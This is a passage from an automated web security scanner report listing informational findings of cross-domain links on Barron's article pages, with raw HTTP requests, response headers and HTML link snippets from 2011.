http://mp.apmebf.com/ad/js/13754-86576-1281-0?mpt=3040010&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/a%3B207642206%3B1-0%3B0%3B29270204%3B4307-300/250%3B33472683/33490561/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3B%3Bmc%3Db2pfreezone%3Btile%3D7%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f&host=altfarm.mediaplex.com

The response contains the following link to another domain:

http://altfarm.mediaplex.com/ad/js/13754-86576-1281-0?mpt=3040010&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/a%3B207642206%3B1-0%3B0%3B29270204%3B4307-300/250%3B33472683/33490561/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3B%3Bmc%3Db2pfreezone%3Btile%3D7%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f&no_cj_c=1&upsid=817318600485

Request

GET /ad/js/13754-86576-1281-0?mpt=3040010&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/a%3B207642206%3B1-0%3B0%3B29270204%3B4307-300/250%3B33472683/33490561/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3B%3Bmc%3Db2pfreezone%3Btile%3D7%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f&host=altfarm.mediaplex.com HTTP/1.1
Host: mp.apmebf.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/bottom.interactive.wsj.com/business_econ_front;!category=;biz=1053;;;mc=b2pfreezone;tile=7;sz=336x280,300x250;ord=5370537053705370;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

19.114. http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.barrons.com
Path:	/article/SB50001424052970203286304576313262992330454.html

Issue detail

The page was loaded from a URL containing a query string:

http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html?mod=BOL_hpp_dc

The response contains the following links to other domains:

http://adsyndication.msn.com/delivery/getads.js
http://allthingsd.com/
http://asia.wsj.com/
http://barrons.wsj.net/barrons-media/Xclose.gif
http://barrons.wsj.net/barrons-media/addAol_but.gif
http://barrons.wsj.net/barrons-media/addGoogle_but.gif
http://barrons.wsj.net/barrons-media/addNetvibes_but.gif
http://barrons.wsj.net/barrons-media/addNewsgator_but.gif
http://barrons.wsj.net/barrons-media/addPluck_but.gif
http://barrons.wsj.net/barrons-media/addYahoo_but.gif
http://barrons.wsj.net/barrons-media/avi_salzman-headshot.gif
http://barrons.wsj.net/barrons-media/gradientbackground.gif
http://barrons.wsj.net/barrons-media/murray_coleman-headshot.gif
http://barrons.wsj.net/barrons-media/myMsn_but.gif
http://barrons.wsj.net/barrons-media/tiernan_ray-headshot.gif
http://barrons.wsj.net/barrons-media/windowsLive_but.gif
http://barrons.wsj.net/djscript/bucket/NA/page/0_0_BA_0001/provided/bolGlobal,bolTracking/version/20110427211743.js
http://barrons.wsj.net/djscript/j_global_slim-20110427211743.js
http://barrons.wsj.net/djstyle/0_0_BA_0001-20110427211743.css
http://barrons.wsj.net/img/acapLogo.gif
http://barrons.wsj.net/img/art_share_arrow.gif
http://barrons.wsj.net/img/bol_article_email.gif
http://barrons.wsj.net/img/bol_article_print.gif
http://barrons.wsj.net/img/bol_article_reprints.gif
http://barrons.wsj.net/img/bol_article_rss.gif
http://barrons.wsj.net/img/bol_article_share_dd.gif
http://barrons.wsj.net/img/bol_article_single.gif
http://barrons.wsj.net/img/footer_logo_small.png
http://barrons.wsj.net/img/icon_buzz.gif
http://barrons.wsj.net/img/icon_delicious.gif
http://barrons.wsj.net/img/icon_digg.gif
http://barrons.wsj.net/img/icon_facebook.gif
http://barrons.wsj.net/img/icon_linkedin.gif
http://barrons.wsj.net/img/icon_mixx.gif
http://barrons.wsj.net/img/icon_myspace.gif
http://barrons.wsj.net/img/icon_newsvine.gif
http://barrons.wsj.net/img/icon_stumbleupon.gif
http://barrons.wsj.net/img/icon_twitter.gif
http://barrons.wsj.net/public/resources/images/BA-AV724B_MFCov_A_20110513174220.jpg
http://barrons.wsj.net/public/resources/images/BA-AV759_Junipe_A_20110513175711.jpg
http://barrons.wsj.net/public/resources/images/BA-AV771_SandRi_A_20110513182852.jpg
http://barrons.wsj.net/public/resources/images/BA-AV772_brookf_A_20110513192615.jpg
http://barrons.wsj.net/public/resources/images/ON-AQ571_BA_Gen_A_20101102104756.jpg
http://barrons.wsj.net/public/resources/images/ON-AQ724_HOT_ju_A_20101112122142.jpg
http://barrons.wsj.net/public/resources/images/ON-AR299_SB_Xil_A_20101222130752.jpg
http://barrons.wsj.net/public/resources/images/ON-AT137_BT_Koh_A_20110512134843.jpg
http://barrons.wsj.net/public/resources/images/ON-AT144_TRA_Wa_A_20110512175456.jpg
http://barrons.wsj.net/public/resources/images/ON-AT148_SB_mic_A_20110513125940.jpg
http://barrons.wsj.net/public/resources/images/ON-AT149_BT_Nvi_A_20110513133437.jpg
http://barrons.wsj.net/public/resources/images/ON-AT165_GMCAR__A_20110514001610.jpg
http://barrons.wsj.net/public/resources/images/ON-AT181_BA_Gre_A_20110514010543.jpg
http://barronsmag.com/conferences/
http://barronsonline.ar.wilink.com/
http://barronsonline.fundinfo.wilink.com/
http://bigcharts.marketwatch.com/
http://c.wsj.net/dynamic/hat/hatloader3.js
http://chinese.wsj.com/gb/index.asp
http://europe.wsj.com/
http://finance.yahoo.com/
http://ie8.smoothfusion.com/Barrons/view.aspx
http://moneycentral.msn.com/home.asp
http://moneycentral.msn.com/investor/home.asp
http://news.moneycentral.msn.com/newscenter/newscenter.asp
http://online.wsj.com/
http://online.wsj.com/americas
http://online.wsj.com/asia
http://online.wsj.com/europe
http://online.wsj.com/home
http://online.wsj.com/portuguese
http://s.wsj.net/javascript/yui-2.5.2.js
http://the-acap.org/acap-enabled.php
http://twitter.com/barronsonline
http://vse.marketwatch.com/Game/Homepage.aspx
http://www.barronsmag.com/advertise.html
http://www.djreprints.com/
http://www.facebook.com/barronsonline
http://www.fins.com/?mod=BOL_footer
http://www.marketwatch.com/
http://www.smartmoney.com/
http://www.smartmoney.com/spend/family-money/new-rules-of-the-credit-card-game-1304255332048/
http://www.wsjlocal.com/
https://store.buysub.com/webapp/wcs/stores/servlet/CategoryDisplay?storeId=50101&catalogId=10701&categoryId=13152
https://store.buysub.com/webapp/wcs/stores/servlet/CategoryDisplay?storeId=50101&catalogId=10701&categoryId=13152&mod=BOL_other_tnav_alert
https://w1.buysub.com/pubs/D2/BSW/Microsite_Index.jsp?cds_page_id=53753&cds_mag_code=BSW&cds_response_key=W9AZBBBV&mod=BOL_other_tnav_alert
https://w1.buysub.com/pubs/D2/BSW/Microsite_Index.jsp?cds_page_id=53753&cds_mag_code=BSW&cds_response_key=W9AZBBBW&mod=BOL_other_tnav_alert
https://w1.buysub.com/servlet/CSGateway?cds_mag_code=BSW&mod=BOL_other_tnav_alert

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:22:56 GMT
Server: Apache/2.0.58 (Unix)
X-DEBUG-BOX-IDENT: sbkj2kapachep07
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /article/SB50001424052970203286304576313262992330454.html?mod=BOL_hpp_dc
X-DEBUG-NAMESPACE: reno-barrons
X-DEBUG-BOX-IDENT: sbkj2kapachep07
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /entitlements_handler?mg=reno-barrons&url=http%3A%2F%2Fonline.barrons.com%2Farticle%2FSB50001424052970203286304576313262992330454.html%3Fmod%3DBOL_hpp_dc
X-DEBUG-NAMESPACE: reno-barrons
X-DEBUG-BOX-IDENT: sbkj2kapachep07
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /public/article/SB50001424052970203286304576313262992330454.html
X-DEBUG-NAMESPACE: reno-barrons
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:23:11 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 93065

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
<link rel="shortcut icon" href="/favicon.ico" />
<link rel="stylesheet" href="http://barrons.wsj.net/djstyle/0_0_BA_0001-20110427211743.css" type="text/css" /><!--[if lt IE 7]>
...[SNIP]...
<link href='http://online.barrons.com/css/barronsDependencies/autocomplete.css' type="text/css" rel="stylesheet" />
<script type='text/javascript' src='http://s.wsj.net/javascript/yui-2.5.2.js'></script>
...[SNIP]...
</style>
<script type='text/javascript' src='http://c.wsj.net/dynamic/hat/hatloader3.js'></script>
...[SNIP]...
<li id="hat_tab1" class="hat_tab" onmouseover="hat.tabover(this)" onmouseout="hat.tabout(this)">
                   <a id="hat_link1" href="http://online.wsj.com/home" onclick="hat.track('WSJ')"></a>
...[SNIP]...
<li id="hat_tab2" class="hat_tab" onmouseover="hat.tabover(this)" onmouseout="hat.tabout(this)">
                   <a id="hat_link2" href="http://www.marketwatch.com" onclick="hat.track('MW')"></a>
...[SNIP]...
<li id="hat_tab4" class="hat_tab" onmouseover="hat.tabover(this)" onmouseout="hat.tabout(this)">
                   <a id="hat_link4" href="http://allthingsd.com" onclick="hat.track('ATD')"></a>
...[SNIP]...
<li id="hat_more1" onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item">
                           <a href="http://bigcharts.marketwatch.com" onclick="hat.track('BC')">BigCharts</a>
...[SNIP]...
<li id="hat_more2" onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item">
                           <a href="http://vse.marketwatch.com/Game/Homepage.aspx" onclick="hat.track('VSE')">Virtual Stock Exchange</a>
...[SNIP]...
<li id="hat_more3" onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item">
                           <a href="http://online.wsj.com/asia" onclick="hat.track('ASIA')">WSJ Asia</a>
...[SNIP]...
<li id="hat_more4" onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item">
                           <a href="http://online.wsj.com/europe" onclick="hat.track('EUR')">WSJ Europe</a>
...[SNIP]...
<li id="hat_more5" onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item">
                           <a href="http://online.wsj.com/americas" onclick="hat.track('SPA')">WSJ Americas</a>
...[SNIP]...
<li id="hat_more6" onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item">
                           <a href="http://chinese.wsj.com/gb/index.asp" onclick="hat.track('CHI')">WSJ Chinese</a>
...[SNIP]...
<li><a href="https://w1.buysub.com/pubs/D2/BSW/Microsite_Index.jsp?cds_page_id=53753&cds_mag_code=BSW&cds_response_key=W9AZBBBW&mod=BOL_other_tnav_alert">About</a>
...[SNIP]...
<li><a href="https://w1.buysub.com/pubs/D2/BSW/Microsite_Index.jsp?cds_page_id=53753&cds_mag_code=BSW&cds_response_key=W9AZBBBV&mod=BOL_other_tnav_alert">Subscribe</a>
...[SNIP]...
<li><a href="https://store.buysub.com/webapp/wcs/stores/servlet/CategoryDisplay?storeId=50101&catalogId=10701&categoryId=13152&mod=BOL_other_tnav_alert">Latest Issues</a>
...[SNIP]...
<li><a href="https://w1.buysub.com/servlet/CSGateway?cds_mag_code=BSW&mod=BOL_other_tnav_alert">Manage Subscription</a>
...[SNIP]...
is copy is for your personal, non-commerical use only. To order presentation-ready copies for distribution to your colleagues, clients or customers, use the Order Reprints tool on any article or visit <a href="http://www.djreprints.com/">www.djreprints.com</a>
...[SNIP]...
<a href="#" id="abtt.at.print"><img src="http://barrons.wsj.net/img/bol_article_print.gif" /> <span>
...[SNIP]...
<a href="#" id="abtt.at.emailthis"><img src="http://barrons.wsj.net/img/bol_article_email.gif" /> <span>
...[SNIP]...
<a href="#"><img src="http://barrons.wsj.net/img/bol_article_share_dd.gif" alt="">Share</a>
                   <a href="#" class="expand"><img src="http://barrons.wsj.net/img/art_share_arrow.gif" alt="more"></a>
...[SNIP]...
<a href="#" id="abtt.share.twitter"><img src="http://barrons.wsj.net/img/icon_twitter.gif" alt="Twitter">twitter</a>
...[SNIP]...
<a href="#" id="abtt.share.digg"><img src="http://barrons.wsj.net/img/icon_digg.gif" alt="Digg">Digg</a>
...[SNIP]...
<a href="#" id="abtt.share.facebook"><img src="http://barrons.wsj.net/img/icon_facebook.gif" alt="Facebook">facebook</a>
...[SNIP]...
<a href="#" id="abtt.share.linkedin"><img src="http://barrons.wsj.net/img/icon_linkedin.gif" alt="Linkedin">LinkedIn</a>
...[SNIP]...
<a href="#" id="abtt.share.stumble"><img src="http://barrons.wsj.net/img/icon_stumbleupon.gif" alt="Stumbleupon">StumbleUpon</a>
...[SNIP]...
<a href="#" id="abtt.share.ybuzz"><img src="http://barrons.wsj.net/img/icon_buzz.gif" alt="YBuzz">Yahoo! Buzz</a>
...[SNIP]...
<a href="#" id="abtt.share.myspace"><img src="http://barrons.wsj.net/img/icon_myspace.gif" alt="MySpace">MySpace</a>
...[SNIP]...
<a href="#" id="abtt.share.delicios"><img src="http://barrons.wsj.net/img/icon_delicious.gif" alt="Delicious">del.icio.us</a>
...[SNIP]...
<a href="#" id="abtt.share.newswine"><img src="http://barrons.wsj.net/img/icon_newsvine.gif" alt="NewsVine">NewsVine</a>
...[SNIP]...
<a href="#" id="abtt.share.mixx"><img src="http://barrons.wsj.net/img/icon_mixx.gif" alt="Mixx">Mixx</a>
...[SNIP]...
<a href="#articleTabs_panel_article=all" id="abtt.at.singlepage"><img src="http://barrons.wsj.net/img/bol_article_single.gif" /> <span>
...[SNIP]...
<a href="#" id="abtt.at.reprint"><img src="http://barrons.wsj.net/img/bol_article_reprints.gif" /> <span>
...[SNIP]...
<a href="#" id="abtt.at.rssopen"><img src="http://barrons.wsj.net/img/bol_article_rss.gif" /> <span>
...[SNIP]...
<div id="abtt.at.rss" style="border: medium none ; position: absolute; left: 400px; top: 610px; width: 0px; height: 0px; z-index: 4;" class="rssToolBox hidden">
   <img src="http://barrons.wsj.net/barrons-media/gradientbackground.gif" alt="Background image" height="186" width="320" />
       <table cellpadding="0" cellspacing="8" align="center" style="position:absolute;left:10px; top:0px;width:310px;height:180px">
...[SNIP]...
<td align="right" valign="top"> <img alt="Close this window" src="http://barrons.wsj.net/barrons-media/Xclose.gif" id="abtt.at.rssclose" style="padding-top:5px;padding-right:5px;"/></td>
...[SNIP]...
<a href="#" id="abtt.rss.yahoo"><img src="http://barrons.wsj.net/barrons-media/addYahoo_but.gif" border="0" width="91" height="17" alt="My Yahoo Reader" /></a>
...[SNIP]...
<a href="#" id="abtt.rss.google"><img src="http://barrons.wsj.net/barrons-media/addGoogle_but.gif" border="0" width="91" height="17" alt="Google Reader" /></a>
...[SNIP]...
<a href="#" id="abtt.rss.pluck"><img src="http://barrons.wsj.net/barrons-media/addPluck_but.gif" border="0" width="91" height="17" alt="Pluck Reader" /></a>
...[SNIP]...
<a href="#" id="abtt.rss.live"><img src="http://barrons.wsj.net/barrons-media/windowsLive_but.gif" border="0" width="92" height="17" alt="Windows Live Reader" /></a>
...[SNIP]...
<a href="#" id="abtt.rss.msn"><img src="http://barrons.wsj.net/barrons-media/myMsn_but.gif" border="0" width="80" height="14" alt="MSN Reader" /></a>
...[SNIP]...
<a href="#" id="abtt.rss.newsgator"><img src="http://barrons.wsj.net/barrons-media/addNewsgator_but.gif" border="0" width="91" height="17" alt="Newsgator Reader" /></a>
...[SNIP]...
<a href="#" id="abtt.rss.netvibes"><img src="http://barrons.wsj.net/barrons-media/addNetvibes_but.gif" border="0" width="91" height="17" alt="Netvibes Reader" /></a>
...[SNIP]...
<a id="abtt.rss.aol" href="#"><img src="http://barrons.wsj.net/barrons-media/addAol_but.gif" border="0" width="63" height="14" alt="AOL Reader"></a>
...[SNIP]...
</a> and by copyright law. For non-personal use or to order multiple copies, please contact Dow Jones Reprints at 1-800-843-0008 or visit <a href="http://www.djreprints.com">www.djreprints.com</a>
...[SNIP]...
<a href="#" id="abt.at.emailthis"><img alt="" src="http://barrons.wsj.net/img/bol_article_email.gif" class="icon">Email</a>
...[SNIP]...
<a href="#" id="abt.at.print"><img alt="" src="http://barrons.wsj.net/img/bol_article_print.gif" class="icon">Print</a>
...[SNIP]...
<a href="#" id="abt.at.reprint"><img alt="" src="http://barrons.wsj.net/img/bol_article_reprints.gif" class="icon">Reprints</a>
...[SNIP]...
<a class="tipTarget" href="#" id="abt.share.twitter"><img alt="Twitter" src="http://barrons.wsj.net/img/icon_twitter.gif"></a>
...[SNIP]...
<a class="tipTarget" href="#" id="abt.share.ybuzz"><img alt="Yahoo! Buzz" src="http://barrons.wsj.net/img/icon_buzz.gif"></a>
...[SNIP]...
<a class="tipTarget" href="#" id="abt.share.facebook"><img alt="facebook" src="http://barrons.wsj.net/img/icon_facebook.gif"></a>
...[SNIP]...
<a class="tipTarget" href="#" id="abt.share.myspace"><img alt="MySpace" src="http://barrons.wsj.net/img/icon_myspace.gif"></a>
...[SNIP]...
<a class="tipTarget" href="#" id="abt.share.digg"><img alt="Digg" src="http://barrons.wsj.net/img/icon_digg.gif"></a>
...[SNIP]...
<a class="tipTarget" href="#" id="abt.share.linkedin"><img alt="LinkedIn" src="http://barrons.wsj.net/img/icon_linkedin.gif"></a>
...[SNIP]...
<a class="tipTarget" href="#" id="abt.share.delicios"><img alt="del.icio.us" src="http://barrons.wsj.net/img/icon_delicious.gif"></a>
...[SNIP]...
<a class="tipTarget" href="#" id="abt.share.newswine"><img alt="NewsVine" src="http://barrons.wsj.net/img/icon_newsvine.gif"></a>
...[SNIP]...
<a class="tipTarget" href="#" id="abt.share.stumble"><img alt="StumbleUpon" src="http://barrons.wsj.net/img/icon_stumbleupon.gif"></a>
...[SNIP]...
<a class="tipTarget" href="#" id="abt.share.mixx"><img alt="Mixx" src="http://barrons.wsj.net/img/icon_mixx.gif"></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970203425804576321602793319360.html?mod=BOL_article_full_NewsCar_oe"><img src="http://barrons.wsj.net/public/resources/images/ON-AQ571_BA_Gen_A_20101102104756.jpg" vspace="0" hspace="0" border="0" alt="[BA_GeneralMotor]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970203425804576321312457731644.html?mod=BOL_article_full_NewsCar_oe"><img src="http://barrons.wsj.net/public/resources/images/ON-AT149_BT_Nvi_A_20110513133437.jpg" vspace="0" hspace="0" border="0" alt="[BT_NvidiaTegra_]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970203425804576321271751937958.html?mod=BOL_article_full_NewsCar_oe"><img src="http://barrons.wsj.net/public/resources/images/ON-AT148_SB_mic_A_20110513125940.jpg" vspace="0" hspace="0" border="0" alt="[SB_microchips_0]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970204097904576319690772567626.html?mod=BOL_article_full_NewsCar_oe"><img src="http://barrons.wsj.net/public/resources/images/ON-AR299_SB_Xil_A_20101222130752.jpg" vspace="0" hspace="0" border="0" alt="[SB_Xilinx_1222]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970204097904576319400233488930.html?mod=BOL_article_full_NewsCar_oe"><img src="http://barrons.wsj.net/public/resources/images/ON-AT144_TRA_Wa_A_20110512175456.jpg" vspace="0" hspace="0" border="0" alt="[TRA_WadofCash_0]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970204097904576319201655268440.html?mod=BOL_article_full_NewsCar_oe"><img src="http://barrons.wsj.net/public/resources/images/ON-AT137_BT_Koh_A_20110512134843.jpg" vspace="0" hspace="0" border="0" alt="[BT_KohlsApparel]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970204097904576319280553608472.html?mod=BOL_article_full_NewsCar_oe"><img src="http://barrons.wsj.net/public/resources/images/ON-AQ724_HOT_ju_A_20101112122142.jpg" vspace="0" hspace="0" border="0" alt="[HOT_junipernetw]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<h2><a class="" href="http://www.smartmoney.com/spend/family-money/new-rules-of-the-credit-card-game-1304255332048/" target="_blank">How to Play the New Credit Card Offers (From SmartMoney.com)</a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970204224904576317324217921368.html?mod=BOL_article_full_NewsCar_twm"><img src="http://barrons.wsj.net/public/resources/images/BA-AV759_Junipe_A_20110513175711.jpg" vspace="0" hspace="0" border="0" alt="[Juniper_F]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970204224904576317351372090580.html?mod=BOL_article_full_NewsCar_twm"><img src="http://barrons.wsj.net/public/resources/images/ON-AT165_GMCAR__A_20110514001610.jpg" vspace="0" hspace="0" border="0" alt="[GMCAR_0516jpg]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970203286304576313260557530894.html?mod=BOL_article_full_NewsCar_twm"><img src="http://barrons.wsj.net/public/resources/images/ON-AT181_BA_Gre_A_20110514010543.jpg" vspace="0" hspace="0" border="0" alt="[BA_Greenblatt_0]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970203286304576313263278025484.html?mod=BOL_article_full_NewsCar_twm"><img src="http://barrons.wsj.net/public/resources/images/BA-AV771_SandRi_A_20110513182852.jpg" vspace="0" hspace="0" border="0" alt="[SandRidge photo]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970204224904576317190366706076.html?mod=BOL_article_full_NewsCar_twm"><img src="http://barrons.wsj.net/public/resources/images/BA-AV772_brookf_A_20110513192615.jpg" vspace="0" hspace="0" border="0" alt="[brookfield_p]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
<a href="http://online.barrons.com/article/SB50001424052970203286304576313420949785398.html?mod=BOL_article_full_NewsCar_twm"><img src="http://barrons.wsj.net/public/resources/images/BA-AV724B_MFCov_A_20110513174220.jpg" vspace="0" hspace="0" border="0" alt="[MFCover_i]" height="76" width="76" class="imageFormat-A"/></a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...
<h2><a href="http://finance.yahoo.com/" target="_blank" class="yahoo">Back To</a>
...[SNIP]...
<li><a href="http://news.moneycentral.msn.com/newscenter/newscenter.asp" target="_blank" class="msn"></a>
...[SNIP]...
<h2><a href="http://moneycentral.msn.com/home.asp" target="_blank">MSN Money Homepage</a>
...[SNIP]...
<h2><a href="http://moneycentral.msn.com/investor/home.asp" target="_blank">MSN Money Investing</a>
...[SNIP]...
<a href="http://blogs.barrons.com/stockstowatchtoday?mod=BOL_article_full_blog_stw"><img alt="Avi Salzman" src="http://barrons.wsj.net/barrons-media/avi_salzman-headshot.gif"></a>
...[SNIP]...
<a href="http://blogs.barrons.com/techtraderdaily?mod=BOL_article_full_blog_techtrader"><img alt="Tiernan Ray" src="http://barrons.wsj.net/barrons-media/tiernan_ray-headshot.gif"></a>
...[SNIP]...
<a href="http://blogs.barrons.com/focusonfunds?mod=BOL_article_full_blog_etf"><img alt="Murray Coleman" src="http://barrons.wsj.net/barrons-media/murray_coleman-headshot.gif"></a>
...[SNIP]...
</div>

<a rel="entry-content" href="http://ie8.smoothfusion.com/Barrons/view.aspx" style="display: none;">Link to Barron's Slice.</a>
...[SNIP]...
<li class="acapLogo"><a href="http://the-acap.org/acap-enabled.php" rel="nofollow"><img class="acapLogo" src="http://barrons.wsj.net/img/acapLogo.gif" alt="ACAP Enabled"/></a>
...[SNIP]...
<li><a href="http://www.barronsmag.com/advertise.html" rel="nofollow">Advertising</a>
...[SNIP]...
<li><a href="http://www.wsjlocal.com/" rel="nofollow">Advertise Locally</a>
...[SNIP]...
<li><a href="https://store.buysub.com/webapp/wcs/stores/servlet/CategoryDisplay?storeId=50101&catalogId=10701&categoryId=13152" rel="nofollow">Daily Stock Alert</a>
...[SNIP]...
<li><a href="http://barronsmag.com/conferences/" rel="nofollow">Conferences</a>
...[SNIP]...
<li><a href="http://www.djreprints.com/" rel="nofollow">Reprints</a>
...[SNIP]...
<li class="feedMe"><a class="facebook" href="http://www.facebook.com/barronsonline" rel="nofollow" >Barron's on Facebook</a>
...[SNIP]...
<li class="feedMe"><a class="twitter" href="http://twitter.com/barronsonline" rel="nofollow">Barron's on Twitter</a>
...[SNIP]...
<li><a href="http://barronsonline.ar.wilink.com">Annual Reports</a>
...[SNIP]...
<li><a href="http://barronsonline.fundinfo.wilink.com">Fund Prospectuses</a>
...[SNIP]...
<strong><img alt="The Wall Street Journal" src="http://barrons.wsj.net/img/footer_logo_small.png"></strong>
...[SNIP]...
<li><a href="http://online.wsj.com">WSJ.com</a>
...[SNIP]...
<li><a href="http://www.marketwatch.com">MarketWatch.com</a>
...[SNIP]...
<li><a href="http://www.smartmoney.com">SmartMoney.com</a>
...[SNIP]...
<li><a href="http://allthingsd.com">AllThingsD.com</a>
...[SNIP]...
<li><a href="http://www.fins.com/?mod=BOL_footer">FINS.com</a>
...[SNIP]...
<li><a href="http://bigcharts.marketwatch.com">BigCharts.com</a>
...[SNIP]...
<li><a href="http://vse.marketwatch.com/Game/Homepage.aspx">Virtual Stock Exchange</a>
...[SNIP]...
<li><a href="http://online.wsj.com">WSJ U.S. Edition</a>
...[SNIP]...
<li><a href="http://asia.wsj.com">WSJ Asia Edition</a>
...[SNIP]...
<li><a href="http://europe.wsj.com">WSJ Europe Edition</a>
...[SNIP]...
<li><a href="http://chinese.wsj.com/gb/index.asp">WSJ Chinese</a>
...[SNIP]...
<li><a href="http://online.wsj.com/portuguese">WSJ Portuguese</a>
...[SNIP]...
<li><a href="http://online.wsj.com/americas">WSJ Spanish</a>
...[SNIP]...
</div><script type="text/javascript" src="http://barrons.wsj.net/djscript/j_global_slim-20110427211743.js"></script>
<script type="text/javascript" src="http://barrons.wsj.net/djscript/bucket/NA/page/0_0_BA_0001/provided/bolGlobal,bolTracking/version/20110427211743.js"></script>
...[SNIP]...

19.115. http://online.barrons.com/article/barrons_take.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.barrons.com
Path:	/article/barrons_take.html

Issue detail

The page was loaded from a URL containing a query string:

http://online.barrons.com/article/barrons_take.html?mod=BOL_other_tnav_analysis

The response contains the following links to other domains:

http://adsyndication.msn.com/delivery/getads.js
http://allthingsd.com/
http://asia.wsj.com/
http://barrons.wsj.net/barrons-media/Xclose.gif
http://barrons.wsj.net/barrons-media/addAol_but.gif
http://barrons.wsj.net/barrons-media/addGoogle_but.gif
http://barrons.wsj.net/barrons-media/addNetvibes_but.gif
http://barrons.wsj.net/barrons-media/addNewsgator_but.gif
http://barrons.wsj.net/barrons-media/addPluck_but.gif
http://barrons.wsj.net/barrons-media/addYahoo_but.gif
http://barrons.wsj.net/barrons-media/avi_salzman-headshot.gif
http://barrons.wsj.net/barrons-media/gradientbackground.gif
http://barrons.wsj.net/barrons-media/murray_coleman-headshot.gif
http://barrons.wsj.net/barrons-media/myMsn_but.gif
http://barrons.wsj.net/barrons-media/tiernan_ray-headshot.gif
http://barrons.wsj.net/barrons-media/windowsLive_but.gif
http://barrons.wsj.net/djscript/bucket/NA/page/0_0_BA_0002/provided/bolGlobal,bolTracking/version/20110427211743.js
http://barrons.wsj.net/djscript/j_global_slim-20110427211743.js
http://barrons.wsj.net/djstyle/0_0_BA_0002-20110427211743.css
http://barrons.wsj.net/img/acapLogo.gif
http://barrons.wsj.net/img/art_share_arrow.gif
http://barrons.wsj.net/img/bol_article_email.gif
http://barrons.wsj.net/img/bol_article_print.gif
http://barrons.wsj.net/img/bol_article_reprints.gif
http://barrons.wsj.net/img/bol_article_rss.gif
http://barrons.wsj.net/img/bol_article_share_dd.gif
http://barrons.wsj.net/img/bol_article_single.gif
http://barrons.wsj.net/img/footer_logo_small.png
http://barrons.wsj.net/img/icon_buzz.gif
http://barrons.wsj.net/img/icon_delicious.gif
http://barrons.wsj.net/img/icon_digg.gif
http://barrons.wsj.net/img/icon_facebook.gif
http://barrons.wsj.net/img/icon_linkedin.gif
http://barrons.wsj.net/img/icon_mixx.gif
http://barrons.wsj.net/img/icon_myspace.gif
http://barrons.wsj.net/img/icon_newsvine.gif
http://barrons.wsj.net/img/icon_stumbleupon.gif
http://barrons.wsj.net/img/icon_twitter.gif
http://barrons.wsj.net/public/resources/images/BA-AV672B_AIG_p_A_20110506200203.jpg
